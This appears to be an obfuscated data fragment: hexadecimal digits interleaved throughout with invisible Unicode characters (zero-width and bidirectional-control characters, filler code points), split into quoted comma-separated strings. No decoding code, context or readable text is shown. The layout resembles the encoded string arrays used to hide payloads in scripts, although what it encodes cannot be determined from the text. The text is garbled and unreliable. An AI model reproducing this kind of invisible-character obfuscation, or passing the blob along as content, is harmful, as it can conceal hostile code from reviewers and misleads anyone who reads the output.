7‪­‎1⁩￲5͏‌‭5឵­6￵5⁣6͏⁨2‫­‬5‎⁢4�','�￿‎3⁢឴7⁢ᅟ­3￰‭3￴⁠4￰⁧a‭2�','��￵‫b⁤⁧⁧7឵​⁠2￰‪6⁢⁤￸5‬6￷឵d�','�￳￾5‏⁧a­­4⁥឴￿f￴⁩6‭​c⁩឴￶3￸7͏�','�‮⁣5￷؜ᅠ4⁠6￲؜8‫‌⁩6‍‎6​￿￲7￶￵6⁧�','�3؜9‎⁩6￿￸؜3￴‫￳ᅟ6឴‭1￷4￴‌9⁠⁠�','��4ᅟ឴⁩bᅠ͏4￰឵2⁣￰⁦ᅠ3‎⁠​5⁤‍￴￲6','⁢￰⁣‮eᅠ￾ᅟ7￲͏￶5￷￰6⁩￷⁥9ᅠ‮⁧‎2͏￾b','͏￶7᠎￱￲2￵⁢7‏￷؜‭7￶⁡4⁦​9�','��⁢⁩4⁥឴7‮⁠4⁦6￱​᠎6͏᠎‪1‍⁩᠎5','‮￸a￾⁤4⁣‏‪f‭5‪￵᠎￰5￰⁨￱3‫⁦3ᅠ�','��ᅟ6ᅠ￱᠎⁦2￲⁣￾￳7‏⁩0ᅟ3‌‌2᠎‎6￸؜','￷ᅟ2￸឵4f⁠͏឵5‮⁢￱￿9⁡6⁨￸­d￳￾','7￾‪؜6￾⁧⁧⁤6￳￸d￵7￳7‫͏￷3‌￴​5឵￷5�','��￱3⁩⁧4￶d⁧￶3­⁨2￸‍⁣￳6​5⁧','5‏͏0￷7‏￿ᅟ￾5ᅠ‬‬͏37￱4‫͏​9￿⁧','6⁡e⁥￵7឴￷‍3⁠؜4‎​⁧d￾￵￴3�','�⁤‮7￱឵6￴￷‏1￰‭￱￰4￱‪5￸⁠3⁩឴1⁧','￰⁥4￰⁥ᅠ8￾឵3⁨᠎7‍‌឵2⁨f￱￾‮7‎឵�','��6⁧￾⁤￶3￷￵2￶​6​￸￰￸6‭⁩​­4￴￾￾9⁣⁠','឵7￶ᅠ⁠ᅟ8‍⁣7‍‫￸3⁧​ᅠ7⁨ᅠ2‭⁥￷3᠎1','⁦3⁢឵ᅟ6‎⁡‌68ᅟ⁨‍42￾؜‭5⁢⁡￲7�','��‫⁢4‌‮￷1￴￾7￸ᅠ7⁥⁠؜6⁩￴5￳‌￳4⁦','‏⁤⁣8͏ᅠᅠ6⁥￷⁤⁧f⁧឵3­᠎⁧3￵4⁠⁠8⁣­�','��7‎⁣￲⁥8⁡⁣￿6⁠￿2ᅠ⁨‭⁤4‌4￱‏⁦7�','�­9‌឵⁧7⁦￱9⁢­⁦4‭5￵￷‎6‍឴a￳6￵⁢⁧7','‏3￱ᅠ￳0￷￳7‮￰￰9᠎6⁧c￸6‮￵�','��9⁡⁣7⁡‪￵8‭￾￷4᠎‬9‍4⁦c­឵4⁥�','�8⁤￲5‪‏0ᅟ4͏⁦5⁨7⁤⁨឵4‮￾4ᅟ','⁡￷7￷឴⁩4ᅠ⁦￸ᅠ3ᅟ‮4⁩⁣￸⁧e⁨​⁣‭4�','�⁣​8‎‮5‌͏឵8￲‌7ᅟ￾￸‫3￶឴6‬ᅠ5�','��￱￶᠎5‎￿8‎3‫￴￷⁢4￸‪70͏⁢‮4؜⁨�','��2￵6￱⁢⁧‮e⁨­￾͏4‎⁡￾5‬​￷6‮￷b￵⁣6‎','‌1؜4‎￿1ᅟ3￳⁧‍8￷￷5￶a⁤⁥⁢7⁧2','￾￾‏7᠎⁦16‏⁩￲9‏￰5￷⁢a⁧͏5⁠‎8�','��‌3؜￳3‪‫‍6ᅠ￴￶2⁨￾6͏‬a￷᠎​4‫￶￲1','‍3‎⁡5‫7⁥‪​3⁨⁨4⁨⁤⁣‏1‍⁦‮3�','��⁤0‫￾‮3͏­⁣5⁣⁤3‌͏5⁨￰­5‫3​','⁩3‪6￴￰6⁦឵⁨‍f͏4⁨⁧‏឵dᅟ‎6⁩⁧8￸­�','�‮3​‏￾9‍‌؜7‌7­￴‪‎6⁠c￿͏4‌⁩5�','�3⁩⁢1￶4⁨⁢f‫⁨؜7⁤7⁧ᅠ4⁥d￾⁩4�','�f‪⁠7⁠⁩7⁢￿4­͏a￾⁥￱؜6ᅟ‫⁦￱9‍￸','4؜￶‍1‫ᅟ￿5឵3⁧‎6⁤6‮⁠￲឴6᠎￳￱b�','��￶⁩6⁤⁥9឴4￵­⁣e￿͏͏6⁦­9￸‏5⁣⁥￵8឵�','�6‏￳7￾‫‭‮3⁥0⁠6؜￳￶f‪ᅟ‎⁤6‬឴⁧�','��7⁤ᅟ4￱‬3￳᠎5⁨‭᠎7⁨￰‏6⁩ᅟ￶‎b⁥⁤6⁣�','��e‫⁨⁠4‪‎c­឵឵5‍⁡a឴‬ᅠ4‫⁡‭5؜�','��4᠎⁩⁧c7‪7؜⁣5‫￶5​‌⁥7ᅠ￵4�','�￰‏4⁥͏￷2឵￰4ᅟd⁠ᅟ6᠎ᅠ‮f‫ᅠ‪6⁩⁨9','؜￳‪⁡3‪￰‌1‫‌3ᅟ0￴⁤᠎‌3￷8￴⁣2⁩�','�⁡f⁧᠎͏￾3‏⁦5᠎￶‮5⁡‮3￷￱￾͏3￲⁠0�','�3￸‮￸‏7‎3‎᠎‏6￰⁥￾6؜c⁥‎‬￲4�','��d‫￴￱­6‫‫‭‬6⁥͏ᅟ7؜؜7￱‎‏7￶⁩⁠a‮￷','5⁢6￰‌￷6a͏⁣4⁧￱6⁥‬6￿‭￱￷7�','��឵3​⁦5⁦‍￸5￱⁠⁠0؜4​⁡￷aᅟ6￶c�','�￾⁢3‍8⁧‪5‭⁨ᅠ6‎⁠￷5⁧͏7‌‏‎2‪͏�','�‭f⁤឵7⁡‌7￵͏ᅟ6ᅠ​3⁩￿￸5⁣⁤᠎1⁤5','⁩⁥4￱ᅠ5⁢a͏‏3‭⁥8￴⁨6᠎ᅠ8᠎ᅟ4￰⁧6','᠎￸6f￸⁧‮3᠎‮7᠎឵‭6⁡7⁤5⁤‍‍￵1','‌‏￿4⁢⁨⁡3￲᠎3￰⁦￴‏1￷⁨3᠎￳⁣឵1­⁨‮4�','�￳6឵​4ᅠ͏￰5￷‍￴6￴6￾5￴⁠￵3⁣‫⁢4￰','￿3⁣￱￰3­8‬⁦⁣‏6￲ᅟ5⁠឴‮4￰￾5‌5‌�','��឵7⁩3⁨‍￲5￱￰឴3￰8឴￸4￷￰6￲᠎6�','��⁡⁢f￵⁦⁠3‬9￲‎4￱￴᠎3ᅟ￰5￱⁧­5','⁩᠎͏6￰⁢ᅠ1￵￲￳￷6⁠‮4ᅟ￷5⁧‌᠎3឴⁢','￸2͏￾￱f​‬7‬7ᅠ5​͏⁣8￶⁡6￵⁤e�','�￱3ᅠ​￷0‭6￵￲a‮⁣36­￱᠎7�','��‪⁨￾a⁨‌4‌⁨9‫‏4⁤￷￲a￾‫￲4‪‍ᅟ2�','�￷7⁨­4￷￿5ᅟ᠎a⁦‌47⁢￿⁡4⁥1‭','‫5⁦a឵￶￾7ᅠ9​￿4‭￲b⁦⁡‏3￶�','��￵8‬⁨5￾‌1͏‏4￵⁦6‪឵2ᅠf‏⁦‪6�','�f­⁤؜4‬⁩‪b￳‬5⁢⁢⁡4⁥ᅠ4￿‭d￿ᅟ￲�','�4᠎‎d￶￾6⁥‮1⁢￶‍￿6឵឵6­⁧⁢4⁤￷‍5‭5�','�￷⁢9‎⁥￾͏5￲￿⁨￱a­⁢4⁩‍1⁣￰6⁦​‭6឴�','�￶5‫￸឵‬6￾￿7‏⁡2‌͏￵5‭￱6⁦⁠​￱6؜�','�­1឵⁥4‌‪￿7‌￰6‌​7​‮￵4⁩⁠᠎d͏�','�6͏⁥‬6‏​⁣⁦7⁧￴￳a￷​‮4⁩⁡6​⁠4�','��‭e᠎­￵3‎‫⁧63￳ᅟ⁠3ᅠ￸5⁣6឴⁢','‬ᅠ7឵឴⁢9⁠⁠4￱6឴឵5ᅠ⁧‫￸1⁨3�','��⁧7⁨5ᅠ￰‬5⁨￶6￶8‭‭6‮‫5�','�ᅟ‮4⁡￲2​7￷￵￶￿0⁤؜​4ᅠ‍᠎2‭ᅟ‏7͏�','�‭⁡9￳⁩7￲⁩4⁡⁥2‪b⁥7⁡­9​͏​‫3�','��￾‪7￴3⁧⁦⁧￿6‌￵‏5឴7؜￳‫5￱⁩឵1⁡','6‪￰⁨7⁨ᅟ4‎3￰؜￷឵3‪‫‌⁠0⁡‪‮5͏­‌1','‭‌7⁢⁧͏4ᅠ￱￾⁧6⁠￰1‏⁤‭6￶­a‌‪4‮','⁤‏e؜⁤⁦6‬⁤؜e￿⁨6؜ᅠ‎c‫￵6͏‫￾','2￳‫4⁦￷⁢c⁧‎‍7‏6⁧‬￶⁩6‪￰9￶‪2','ᅟ￴b⁨⁢3⁠​ᅠ2⁥7⁩a⁣￾￳7­‬‏','4⁥឴4￶‌ᅠf￵‌‎￷5⁢3‮⁥6‍4‮‬5￱','2‫￲‭7￾￷2⁦͏7⁥⁨⁥￾1‎⁧⁦6￶⁨‫9‍￸5�','��‭￱4឵5‫4⁦7⁠⁨￷6￳­‏؜6‍⁦d￵‎�','��6⁡ᅠᅟ9￲￳⁥7⁦￵6￰￲ᅟ4￰‭￱឴d￾឴￲6⁤⁥2�','��⁩￸7￱￴9͏⁤⁠3￳￰​8￾ᅟ⁢￷3￰‎6؜‮⁡6�','��￸e￸⁤͏7ᅟ‮7⁢‮6‎ᅟa‪⁥￵6⁥￷­b᠎4⁩','￵b￾‪4឴ᅟ￵7￰4‪‏7⁧2᠎⁡⁣ᅠb￾￿￶￳7‫','⁥2؜͏3￾9؜‮5឵‬7￸5⁧­ᅟ4￸4⁡‪�','��a￿឴⁥7￵7￰‫6⁠￰6⁦⁤4‬⁤⁧e￰᠎6￲￱�','��￵9⁢￶6ᅠ‎￵͏a￲‎‌6￿‫c￵4؜￿⁣឵b⁧6','⁥‫⁩឴d‪￲‌7￱1⁥⁢5⁨‏3‬6ᅟ‍‬1‭�','��‫3‏8‭⁩6￵￸3￶⁦឵5‬​2⁥⁣‍4؜⁢3‮‏�','�⁩2‭᠎f‌⁠￳4­‎‭￳c‌‮￸￵4ᅠ1￰‏ᅟ5឵￲�','��⁣8⁣؜​4⁦⁤‫a⁦͏​6‭2￴⁩‍‍6￰؜​2؜','‭4឵8⁣7‌‎⁦8‌‏￷7⁥￸1￶￲7￶a⁡5�','�‭3⁤￰￴4‭⁡f‭7᠎5￰7‍5‎','2⁧‫͏￱b​3឵ᅟ￵឴7￱‬3￵᠎9￷‪￷6�','�1⁣7‫0​‫6⁡؜͏7­5‎⁢1‎‫؜6￰9‍�','�6￲​‫c⁢‎឵6￰cᅟ6­￰f‮឵͏‬3᠎⁩�','�5‎᠎⁧​2￿᠎f‫‌4⁩￳3￾￶7‪5￰⁨5‭�','�8⁣឴­3⁧￰￲2‭‌‍7᠎￿0᠎￵⁥⁤7⁠⁦3⁦͏�','�￲6‎⁠￳⁣d‫᠎⁩⁦5⁣‭8￱ᅟ⁥3⁦￳͏2￸‌7឵�','��￰⁧5‫￶￾6￾‍d￵⁠4￿￸3؜⁣6‪⁩4​⁡￶','4‫￵a￵4‫ᅠf⁤￸7￴឵6⁥‫6⁥⁨‍8­⁥4','‭᠎‪2￳ᅟ2‭ᅠ￲‫b⁡6‎￸ᅠ6￱￲7឴�','�⁧9￷⁣￴‍5‍￷​͏3￲2⁣឴f‮￵⁨￶3឵⁨2⁥�','��‮ᅠ4￲￶d⁠‫؜6͏⁩⁩bᅟ؜6⁠⁨9ᅠ4￷⁩‮a�','��⁣3⁢͏9⁣⁥￿7‭2­‬3￲7￿­‪឴5͏⁣a­','￶⁦5­⁥1‫⁠឵6឴⁡‌‏c￴‎2￷￰b￵￿឴4؜⁠ᅟc⁠�','�‪⁥4؜3￰⁧4‎᠎b​ᅟ4￿￲￳d⁩ᅟ3￶͏￶2￷�','�­6­ᅟ8￳⁧‎3؜5‎￵5⁧⁠⁠ᅟ1‏7￲','￶2￸ᅠ7￳⁦⁡7￴⁦⁢4￶￴b‮‫​3­⁩2‬؜','‏7؜⁡⁠9⁧3­￵4‌⁦‍3￷‫⁣᠎8￵⁩6⁢￸','‍e￲‎⁩36᠎‭͏⁤6⁠￿5‮឴￾឴3‮8᠎‏3�','��‎6⁨‬⁡￸6‮⁨឴1­6؜ᅠ3⁧‏4͏b؜￰6￷￸⁧4�','��‬￸4⁠b⁩￵￲᠎4‏⁠c￲ᅟ5‌ᅟ4‏­5͏‮8','￱⁩­5‎￿0‮￸6￶￳⁡7‫؜­5￾4￶‌￸7￿�','��8⁢ᅟ39￶￸7឴⁥a͏‭￱᠎7​￴￲1‌ᅠ5�','�‭‪a឴឴⁥5⁤‎￴0‎‪7឴‎5￱឵‍￱4￱᠎⁧�','��5⁣￰2⁥￾b᠎⁨6⁦ᅠ‭c⁨￶ᅠ7‮⁦￷2ᅟ⁥�','�7￱￴឴2ᅟ￵4‍c￵‮⁡5͏᠎8឴6​‫￷‪c‬','‬5￱⁠3‍￳3⁣￸0‪⁩￷5‪‏‎0ᅠ͏￰6⁦⁠f�','��⁤᠎3⁧⁧￱5￴⁨￿6‪5￳⁣6⁤‮3￷‬­4⁤','‌3⁩￱⁣‬37ᅠ⁣￶4⁨‌c⁣‪2឴‏f‎6⁩','￿⁡c⁧‌3ᅟ5￲￶￱2⁣‌b￾6ᅠ⁤e­�','�7￿⁩3￰⁨4ᅠ‮2⁦7­‭ᅠ؜0⁦￾6⁦￰‌f￰￰⁣�','��7ᅠ⁥‫0⁡￰34‫‏￾￰6￰‍1⁢؜6⁣​⁤f�','�⁥⁥7‮⁣￶6￱᠎￴6⁨᠎f￳7￾￾⁥a؜4‍�','��3￰￷6￲‮឵6ᅠ⁦6ᅟ឵c­￳‌7⁤0','⁥⁣7⁠a‏7​឴a⁤￸6⁩᠎6⁨￾​5ᅟ⁦�','��5⁩⁥5￶⁩a￳⁥‬3￴￾⁡6‏‌2ᅠ‍‬f�','�​͏6￲؜6￴⁠3⁥‌⁢4‫­6￶6⁧​￿4￲d�','�⁢3￳ᅟ3‪5⁢￰؜0￴￲⁣4​⁨⁦9឴￾⁧6‮�','��8￸￷6‭5⁣7￷⁦8‎4؜6‬7ᅠ‍­2⁡ᅠ6�','��⁤⁤6‭⁩￸6‍‫1⁥‪6⁣2⁣⁥44‬�','�6⁡⁨‎eᅟ‪5⁢⁨￲9￾͏2ᅠ⁤b⁧7‪￵⁢1','‌4￷⁡￲6￱‌͏7ᅟ⁥￾‍8​￱6឵9឴⁨‫4￵⁡�','�2⁧⁤7‌7￱؜3￳6⁦⁩‮​6؜￳￳​b7￰�','��ᅟ7￰​6￶2⁥‎6͏؜‮9‭4‫￸d‍￰6','￳￾f­￿3‮ᅠ￵8⁣឵4￰؜f⁧­7￴‭5⁣6⁨᠎','⁡5￵⁥4⁨￵؜c￲5⁡‮7⁩ᅠ4⁥‭￳e￱￸⁤឴3�','��⁠8‪￱￰4￿￱￸6؜7͏￰2⁠؜7​‏឴8￲￲￲3‏�','��‌8‬￾6؜￿​6­4￷￿3­឴￶￾3‍⁡3⁧‬6឵‏�','��84⁧⁤d‎⁢3⁣‎5￷⁥6⁠￳⁡5￿3�','��￸⁨8⁩​؜6‎￿᠎d￱‫⁦5᠎￸￱5￲￶4⁦؜⁢e�','��ᅠ឴￸3￶￴ᅟ￲8᠎­‍7឴4᠎￴5￰7￲ᅟ‍6⁨','‮‏⁥a￿⁩⁣‪4￶⁥1⁡￱ᅠ‫6‭￰⁢9᠎6�','�ᅠ⁩4؜­2‏b⁨￾5￿឵‏͏3￳3⁡⁨0￷6᠎4ᅠ�','��￴7￾0⁧؜5⁨⁩‫឵6￵⁧3᠎￷⁧⁠2￸‍ᅠ5⁨','0᠎￾7⁡￷6‭￰6⁦2​⁧᠎3⁩2‌�','��6឴⁤‮d￴⁧឴4￶￿‫￿b￴￾3⁤‎1￴⁦2឵￿f�','��‮ᅟ4⁧￱aᅟ឵ᅟ6⁢؜‫5‮⁠؜⁩4‪⁤e⁣឴￸ᅟ5͏⁦�','�￸8⁧᠎￷￵6ᅟ​‍3​᠎4‌​‬2⁣‫4￶‌⁥3ᅟ⁣6�','�‬⁢e⁦￸឵⁣7ᅠa؜⁤6឵‫8­￱4￸‎9⁧‪￷￿2�','��￰f⁥­⁧6؜￴c￷5￸­7᠎‏3￵⁥2￷឵4᠎d','‪⁣￸5​⁠ᅟ1‪3￷￲2⁣‬5͏3￿⁦‎4￰ᅠ⁧�','�4￿‭52ᅠ⁣6￳‭­9឴7‪⁤0￷⁠￾3᠎4⁥ᅟ�','�￳3‍‪⁣4⁡￳5￸؜8⁧⁦4‫8ᅟ‫᠎￸7￾឵឵5؜؜⁣7�','��￵4￳2‪͏⁨b⁩￰5ᅟ⁡1⁣⁩7‫3͏⁦7‬￷￳￴','aᅠ￳￴⁢6‮‭‭a￲؜￸3͏8￾⁠￲2​f᠎￳ᅟ5�','�￰‫4⁩⁦7￳‏a￾⁥3￴5￵⁩­5￿￱​￾5‏�','��7￿⁩4‌￱4￴‏d6‮￶‪f‌3￵￷9￳�','��‭⁣5⁧⁡7͏᠎​6‪‪‮a￲‎7‏⁡7⁥￲7‎','6⁡￴⁡4￶ᅟcᅟ឴4⁣￵5⁩￸￸5‮‌‌᠎0‎6￶','￸b￱⁢‍4ᅠ؜ᅠᅟ8￸‬4‎ᅟ᠎b‪⁠6‬ᅟf�','�5⁠‮￳9￶3￱‌‍2⁤￿឵3￾￷￾­3￰￵6‮⁤᠎�','��d‮⁠3͏￸￿6￱‫឴￾7⁢⁡6￾￴6￶‭‫6​឵','7￰⁠‏⁠7­͏5‫￱2⁥‬7￴᠎‏2⁤⁣3￵￷­4⁥','5⁤￶3⁨￷5⁨⁩0‪4឴‍⁨5⁧￷6͏‍ᅟe‬ᅟ4','⁣￾2‌7￸⁧⁦9‮⁡‪3⁠￶0￿￸‮‎7឴�','�4⁠‭7‪￸‌‪6‮￱7឴‌឵6￷‪4￾‎⁥c⁨឴6⁦‫7�','��￾3‏ᅟ￱឵3⁨⁣6￾￰b⁡6￳￸⁡1⁥￱2⁡�','�￰b­￾5‎⁣9￳⁧4￸­2‏￿ᅠ᠎5᠎‭‬8‬⁧ᅟ￶6​‫d','￲⁨￵⁦7￲￷⁢￷7￵￱͏͏2⁧f￵⁤‮5￱a‍2','￾‌f￾4⁥‫‮5‍​⁨ᅠ7‌￰7￰￶⁢7᠎⁤2‎‫5','⁧⁢7؜￱5⁨8￵￶­5￾￰⁤4᠎‏6⁥4⁥￰5͏','‎9‍⁠⁦3⁨⁦⁠9‍ᅠ‍7͏‍‫￵8឴4￷‬؜2⁣','7᠎9⁠͏ᅟ3⁠0‏￰3￱⁢6⁧‍⁡͏5￳឴a⁥‍5�','��￲￵1￲‪͏2￷­￰b⁩‏⁡6￿‮឵⁣9​‍‬4؜','f឵￳⁦7‎​￲6‬‭6ᅠ‌b￲￰2឴f￾�','��4￰⁩7￶6᠎￲⁦d឵￸4឴⁠b￷⁥5⁨⁢‮‌7឵￴4','​‏5­4‎￳2ᅟ￴⁠7￿‌4￲⁢឵7؜‬5⁦‭7￷�','�9⁣᠎4‌‌5⁡‭4‬￵⁧a￸5￴￳￴￷aᅠ⁤','‍឵5‫ᅠ͏឴7឵￱￰5⁠￶￰6​7‎￵0￰￶⁢5�','�0￿឵6឴឵1‭6￿឵͏d￵⁨7⁤‪2‌⁤5⁣￲6￵�','�7⁡6‭￷￴4‏឵͏‭4⁨‌‪7​͏a￲￵￱4‍⁨b⁥�','�5⁥￾9​￳⁨6⁦­8￴ᅠ‭￸6￸⁣⁥e⁥￵3‍2','￶3⁢￲4‏⁢⁡6￿￿2￸⁩5ᅟᅠ​1￲￴6‬�','��c​­4⁨￸‍f2‭￰b⁨­4￸‍6￾឴‍3⁤￿','8⁡￳⁩4‮￸‪‮7⁢⁦4ᅟ‎⁩⁩8⁥￳￷4￶‌⁡�','�9‌￾឴2­‎‍￰b‭⁣7឴9​‫‎3⁣؜⁧0￾￸�','�5‏a￿￵‭⁥5‭￱0⁣7͏9‍￰7ᅟ⁤6⁡','​4⁩⁩⁥e⁩‭4￴⁧2￳⁩‌6⁦‭᠎3‌⁠￳4c','​⁨‬6‫b7‌￾⁧￶1​7￱឴1‮ᅟ7�','��2⁧‌￵7᠎5‬6⁩­f‮￰‏6‫c￸4­￱','￿2￿￷‬34￷3⁢឴⁩2‭؜4͏‏4‬‌2⁨�','�‭￸b⁧᠎᠎7⁩￰7⁨­6‏‍7￸4￿⁥؜3⁤￴4�','��￴᠎b‏­4ᅠ￲b‬￵⁦⁢5￱7⁦⁠6￾b​⁧￶','6⁧￷᠎d￰​ᅟ4͏ᅟ؜5￾‪7͏⁥⁥1⁦2⁢⁡f᠎‭','‎3‮⁨87￿‮7؜⁧4￷⁡4‪⁠2￿b⁩�','��6‌a⁦￸­6￶؜‌2￸￵7￶￵‍1​￾4⁢⁣1','‫￴4￶￵c⁢‍‍4￳⁧￵f​￵7‌ᅟ1‏‬5⁤᠎0','ᅠ3￳឵⁦6‎￿6឴឵⁣‍1⁢⁣6⁢￿1￸⁥￷3￷￷�','��￴8￴￾5￰؜⁢￱0ᅟ3⁠￸5‭￶6￰‪ᅠ3‍឵7￿�','�￸4‭‌4￾​￸8؜￶7‍￳­᠎5؜3⁥‮￴2؜‪⁧6','⁦1⁤⁥⁨5￰‍0⁥4⁣￴7؜￷6￴᠎ᅟd�','�឴4￶‮⁢f؜‫ᅠ￳4⁦⁩￷7￸7­0⁨⁨2￲�','�؜b​￶⁥6⁣⁤2؜4￸￱‫‮8￶឴￰6‪‪4￸￶�','�6￲­1￶‭‎឵6￾fᅠ⁤4‪‎9⁠⁦6‍⁦؜͏3￷឴�','�6ᅟ⁠‍￰3⁩￳‍30឵᠎⁡6͏​￰d‍￷6‬￸f￾⁡','7￴‏8￰4⁦⁡‮f￸͏؜6￳￾؜aᅟ⁩­4￱‬1￰�','��6⁨2ᅟ‮‎7￳⁢‭2⁠￱4឴឴឴1‌4‭⁩5�','��​￱3￶5￷឵4⁡‪8￿4￾￾឴￿8­‪͏6⁤6','؜឴5‌7⁢‭6‬­‪6؜͏6⁤4‌‏￰4‏‍a‭‬�','��‪5￸7‭͏7￰‪⁣5⁩5￳￾7‭￷‌‪3‫7⁦‮�','�5⁠ᅟ4￳⁢⁣4⁦6͏￾⁧7￵‌‍4⁦4­؜￿4�','�￵6⁤ᅠc￾⁩6⁩⁣‪᠎f⁧‪3‎‮7⁦4⁤⁣f�','�⁣⁦3⁢￰7⁤￷6‌​b‬​6᠎⁡8⁢⁨6⁨‪','7‍‪￸￸4￱7؜‭6឵‌b​￵‬3‍3￾͏￱4�','�￴‌‎6⁦￿5‪᠎‪6‎⁦6￾឵￾c⁢￷7⁠­4ᅠ‏�','��5￸­4￱឴‮2￱f￶­⁠6￱￸‪⁠b­7‍⁢8⁡‎7','⁡‭￳a￵⁡​5‏￲1￶⁧7⁠￵⁣7⁧‏￳6‮⁡5‏￾�','��5⁠⁨6⁨￲᠎￱4⁠‬7￵￲6‏⁦⁡7⁤‫⁠⁠4͏￾￱','7￷4឵‏4⁨⁢￿6￰￿‬1‭￳6ᅠ⁡￸⁢a؜￳5⁢�','��0‍￸‮6͏឴឵឴7‪⁨‮​3￱‪0⁥‫ᅟ⁩6￱￰⁦�','��8‮3￾9͏6￱c⁥‍6ᅟ᠎b‫‫3⁡ᅠ1�','��7⁠⁥a‮⁣￿­6­⁩؜f‎￴​5‮ᅟ0‪3⁠￿­','᠎9⁤‫⁩ᅟ5‪⁩3឵‬ᅠ4؜‭⁢b‭⁦6￸8឵‮⁡￳4�','��⁢1‌​4⁥⁩￴⁦b⁡­͏7᠎￾7￵￷￶6‏឵ᅠ9ᅠ‎͏�','�7￶ᅟ឵2‮5​⁥a￷ᅟ­឵2f￳￷5￱‪⁤ᅠ0','‍6￶4⁥⁢￵឴7‬￾1‬￶7⁨4￾￰3‮឴­2�','��⁠￷4⁢￰‍d​5‬឴⁤94￾؜4⁧￶7‍‬￶5�','�￵￾6­؜1឵⁠7‭‪2⁩­4￾￿e⁠3‫؜0⁧‏‎','￾7‬￵⁡a⁤⁨⁧4⁥￴2⁨6⁤5⁧‫58','6‭⁦⁤‪e￵⁨3឵‎5⁠￸⁠3￵‌⁩2‌￾�','�4឴⁥￰‏6͏⁤3⁤‭0​​‫3￸͏⁩1⁤‎￾‮7‬�','�1￴‪￾4‪‍⁥⁥1￳￰឵5⁣⁤឵7⁣6­￰2᠎�','��6⁤⁥2‍឵3⁣￲7឵￵6­⁠3؜￾឴‮6؜￶3⁢�','��6⁤￱b￰￱￴5⁩￰￶4￿￿5‭឵8￾￰⁧7‮￵1�','��ᅠ⁣￿7￰a͏؜4⁤឵b឴‭2⁢⁡f‏￱6ᅟ�','��cᅠ￵ᅟ3‍￲ᅟ￵5⁨⁦￰7឴￾2­5￵￶⁨0⁢￶','￸7‬‫1￵⁦͏6‫឵b‎‮￱3⁥￿8￶￿5￿‍‮0⁧�','�6‮؜e￿‪3￴4￳￿￷5‪⁥4⁩‬᠎6؜⁥�','�7ᅟ7‏⁢￶3‪5￾­឵95￶⁨⁥5￱6ᅟ឵','6⁡6‏⁢⁨6‌‫᠎⁨7￾­‌a￱⁣6‫‭᠎7​￷6‪⁩6','￸‭​3‫͏‮⁨6￲4͏5ᅟ￾؜4‭ᅟ‪⁩bᅠ￱�','�4⁤d‮⁦‬‪7᠎⁨9⁣⁨5￳0￱⁣￲⁢4⁧f￱5�','��‎​͏0‭‫‮‌6￱b­￱7‫͏ᅟ￲36￾‍‎‎6⁦�','�‌7⁠឴⁧3￵7⁠‬6͏￴3￱؜8⁩35‌ᅟ�','��7⁠￲￰1￱￰6ᅟ￿‍6￴7⁧‎ᅟ2￰ᅠ­5​￳','3￾⁦6⁠￱￿2￾⁦6⁩‌￲7⁧￳឴⁦3⁦⁠0⁢឴5','⁩‮⁦5￵‏￶￿3⁤6‪­‌4⁢⁣￿d￾6￳￾','9឵​3؜￾1￱᠎6‍9￳4ᅠ‎￷f᠎￷5⁣�','��4￷￷⁠7‫￷a￿￵7឴ᅠ5⁣⁩4⁦⁣￷￵3￾‎3�','��ᅠ‌5‍‍‎⁩5឴￱‮3⁢￲￸6­a‌͏6⁧￰￵f�','��4￱⁣‮឴b￾‪￾3￲￸8￴7​឴￿0឴‬7⁠￱�','�⁦3឴­￱2͏￷f‭͏3￶‬឴⁥9￳‌6឵឵9￿​3�','�؜￾0￴4͏￳3￱3‭឵6⁧‌ᅟ4‌‪1⁦￾3ᅠ­⁤�','�9­⁢4￵​5͏⁦‏5⁢‪4￾ᅠ5￵5‏￴5￵‌�','��​2￲⁡4￿​9឵­5⁩឴￰8⁤7‪￸‏2￲4‌￾f�','��￱7​͏￾8‬7᠎؜‬ᅠ9᠎6￿f‍⁩​5￸�','��0⁧‫⁤3‏⁩឵7￱⁦￾7⁢᠎ᅟ؜0‌￱‌7⁨‪⁧0','‬￲4‍￶‍8‏2‍⁣⁠f‎￶5‬‬7￷6�','��‎⁦c‌￴7‌2᠎‍3ᅟ‫￿⁡0⁧‪‮￵6‫￴','؜e￶2⁨f￵￳6͏⁨ᅠ1ᅟ￱⁢⁧7⁦9￿‭‌2‏​�','�f⁨‬ᅟ5‏‭⁦0͏5͏3‫￿⁣6￶3￶￾￾⁦5⁡឴4','￲‮⁥⁣5‪a⁣‮￲4឵­ᅟ4￱‭‮4⁨‍⁡c￴឵7�','�͏3͏￸͏឴7᠎￶­aᅟ￲‌6⁡4⁥￳⁢3឵‬‭9⁦3','​5᠎￳5‏9‏7؜​⁡2￾឴⁩4‎⁠3⁤⁥6�','��ᅟc⁤￵4￳⁤￾9￾⁠￱￷4‍￲⁩1￷4⁩￲c�','�⁥‬￵3⁡឴⁣⁥2᠎‏4឵⁨7￲￷3‎￾⁡9͏5�','��᠎⁦9᠎3᠎‭4᠎ᅠ͏7⁧­9￱7ᅟ9؜4�','��͏⁡⁩2឴⁠3⁣5឵￷6​⁧6￿͏6᠎￱d￵‮6','⁣‪‏c⁦￱‌￲4⁠⁡‏f؜7⁠⁢8‮᠎￵4⁢᠎','c￶￾5‌⁠⁡4‍⁣6͏ᅟ3ᅟ­­5­a‏￶͏￿6￸�','�⁩c‮ᅟ‌‫4ᅠ⁥⁧7⁥‏⁢6ᅟ￵­9­⁦⁧‭6‍⁨‍','⁠f឵￴‏7᠎⁢⁨7⁠⁥￴឵4⁠‮9‌‪4‮4￰͏⁡�','�6⁤5￲⁦5ᅠ⁦￱3⁨⁥￵⁡4￳9￳6‌⁠2￳᠎6឵�','��8￶­⁠‫7￸1￲ᅠ7­⁨￳7⁨7ᅟ￾5­￷​7‭‭1⁤','‌⁡4឴⁦8‌￶4￳⁤6⁦‬3￰6­￵؜‍4឴⁡‎','8￲⁩5឴‫3⁡￶4‏⁡ᅠ⁨4​4‏d‎￱⁣3￲','‫0⁢ᅟ‫￵2⁨‮b​￰ᅟ5￲⁦a឵‌5‏឴0‌￾3឴','‍؜2឴⁤5￸⁡⁥‫6‏￾­￶5⁡3‏￵3￴⁦6￳⁠‏؜5','؜￴⁣￲5￳‎2￸⁠‍f6⁥⁢4‭￿7⁧᠎឵￰6­⁢5�','�‬⁤⁩1‮⁠7­‍4᠎‭‭3ᅠ⁡3‬￰⁥឵5⁨�','�6￴⁥6￿‎b‬‍6ᅠ⁠‪8⁦4‮­ᅟ7‍￸7￲￷','⁦9ᅠ￷￲4­￾ᅟ8⁩5⁥‍‬⁠7⁡­7­￷⁥⁧9‌�','��‮4￳￳͏f‫؜3⁡8឵6￶a￿￿￰6⁣⁣6￳‪￷','5‎⁡￲6￷6؜5؜￵­￵4‌￰c